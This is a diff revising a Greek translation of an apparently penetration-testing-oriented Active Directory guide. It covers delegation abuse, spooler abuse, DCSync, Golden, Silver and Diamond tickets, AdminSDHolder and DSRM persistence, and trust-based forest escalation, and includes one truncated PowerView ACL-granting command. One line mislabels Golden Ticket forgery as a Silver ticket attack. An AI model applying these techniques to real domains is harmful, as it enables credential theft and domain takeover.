**Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.** **Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
@ -301,7 +301,7 @@ unconstrained-delegation.md
constrained-delegation.md constrained-delegation.md
{{#endref}} {{#endref}}
### Αντιπροσώπευση Βασισμένη σε Πόρους ### Αντιπροσώπευση με βάση τους πόρους
Έχοντας **WRITE** δικαίωμα σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**: Έχοντας **WRITE** δικαίωμα σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**:
@ -317,15 +317,15 @@ resource-based-constrained-delegation.md
acl-persistence-abuse/ acl-persistence-abuse/
{{#endref}} {{#endref}}
### Κατάχρηση Υπηρεσίας Εκτυπωτή Spooler ### Κατάχρηση υπηρεσίας Printer Spooler
Η ανακάλυψη μιας **υπηρεσίας Spool που ακούει** εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτηθούν νέες διαπιστεύσεις** και **να κλιμακωθούν δικαιώματα**. Η ανακάλυψη μιας **υπηρεσίας Spool που ακούει** εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτήσει νέες διαπιστεύσεις** και **να κλιμακώσει δικαιώματα**.
{{#ref}} {{#ref}}
printers-spooler-service-abuse.md printers-spooler-service-abuse.md
{{#endref}} {{#endref}}
### Κατάχρηση Συνεδριών Τρίτων ### Κατάχρηση συνεδριών τρίτων
Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι δυνατόν να **συγκεντρωθούν διαπιστεύσεις από τη μνήμη** και ακόμη και να **εισαχθούν σήματα στις διαδικασίες τους** για να τους προσποιηθούν.\ Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι δυνατόν να **συγκεντρωθούν διαπιστεύσεις από τη μνήμη** και ακόμη και να **εισαχθούν σήματα στις διαδικασίες τους** για να τους προσποιηθούν.\
Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε τρίτες συνεδρίες RDP: Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε τρίτες συνεδρίες RDP:
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS ### LAPS
**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές. **LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές.
{{#ref}} {{#ref}}
laps.md laps.md
@ -344,7 +344,7 @@ laps.md
### Κλοπή Πιστοποιητικών ### Κλοπή Πιστοποιητικών
**Η συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακωθούν τα δικαιώματα μέσα στο περιβάλλον: **Συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακώσετε δικαιώματα μέσα στο περιβάλλον:
{{#ref}} {{#ref}}
ad-certificates/certificate-theft.md ad-certificates/certificate-theft.md
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
### Κατάχρηση Προτύπων Πιστοποιητικών ### Κατάχρηση Προτύπων Πιστοποιητικών
Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε τα δικαιώματα: Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε δικαιώματα:
{{#ref}} {{#ref}}
ad-certificates/domain-escalation.md ad-certificates/domain-escalation.md
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### Εξαγωγή Διαπιστεύσεων Τομέα ### Εξαγωγή Διαπιστεύσεων Τομέα
Μόλις αποκτήσετε **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. Μόλις αποκτήσετε **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
[**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md). [**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md).
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket ### Silver Ticket
Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**. Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Ticket Granting Service (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**.
{{#ref}} {{#ref}}
silver-ticket.md silver-ticket.md
@ -401,7 +401,7 @@ silver-ticket.md
### Golden Ticket ### Golden Ticket
Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Εισιτήρια Υπηρεσίας Εισιτηρίων (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD. Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Ticket Granting Tickets (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD.
Μόλις ο επιτιθέμενος αποκτήσει αυτό το hash, μπορεί να δημιουργήσει **TGTs** για οποιονδήποτε λογαριασμό επιλέξει (επίθεση Silver ticket). Μόλις ο επιτιθέμενος αποκτήσει αυτό το hash, μπορεί να δημιουργήσει **TGTs** για οποιονδήποτε λογαριασμό επιλέξει (επίθεση Silver ticket).
@ -411,13 +411,13 @@ golden-ticket.md
### Diamond Ticket ### Diamond Ticket
Αυτά είναι όπως τα golden tickets που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.** Αυτά είναι όπως τα golden tickets που έχουν παραποιηθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.**
{{#ref}} {{#ref}}
diamond-ticket.md diamond-ticket.md
{{#endref}} {{#endref}}
### **Επιμονή Λογαριασμού Πιστοποιητικών** ### **Επιμονή Λογαριασμών Πιστοποιητικών**
**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης): **Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### Ομάδα AdminSDHolder ### Ομάδα AdminSDHolder
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίθετα αποτελέσματα, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
[**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group) [**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Διαπιστευτήρια DSRM ### Διαπιστεύσεις DSRM
Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό Διαχειριστή. Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή.
{{#ref}} {{#ref}}
dsrm-credentials.md dsrm-credentials.md
@ -500,11 +500,11 @@ laps.md
## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς ## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς
Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**. Η Microsoft θεωρεί το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**.
### Βασικές Πληροφορίες ### Βασικές Πληροφορίες
Ένας [**εμπιστευμένος τομέας**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης. Ένας [**εμπιστευμένος τομέας**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** εντός των **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης.
Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επαλήθευση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία. Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επαλήθευση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία.
@ -513,14 +513,14 @@ laps.md
1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του. 1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς. 2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**. 3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**.
4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. 4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα.
5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**. 5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**.
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης. 6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να αποκτήσει πρόσβαση ο πελάτης.
7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2. 7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2.
### Διάφορες εμπιστοσύνες ### Διάφορες εμπιστοσύνες
Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλον, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.** Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**. Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**.
@ -528,15 +528,15 @@ laps.md
- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού. - **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
- **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα. - **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. - **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
- **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>). - **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας. - **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας.
- **MIT Εμπιστοσύνες**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι MIT εμπιστοσύνες είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows. - **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows.
#### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης** #### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης**
- Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**. - Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**.
- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλον) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλον). - Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο).
### Διαδρομή Επίθεσης ### Διαδρομή Επίθεσης
@ -549,7 +549,7 @@ laps.md
- **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή. - **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή.
- **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας. - **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας.
- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή. - **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι ένας ανεκτίμητος πόρος.
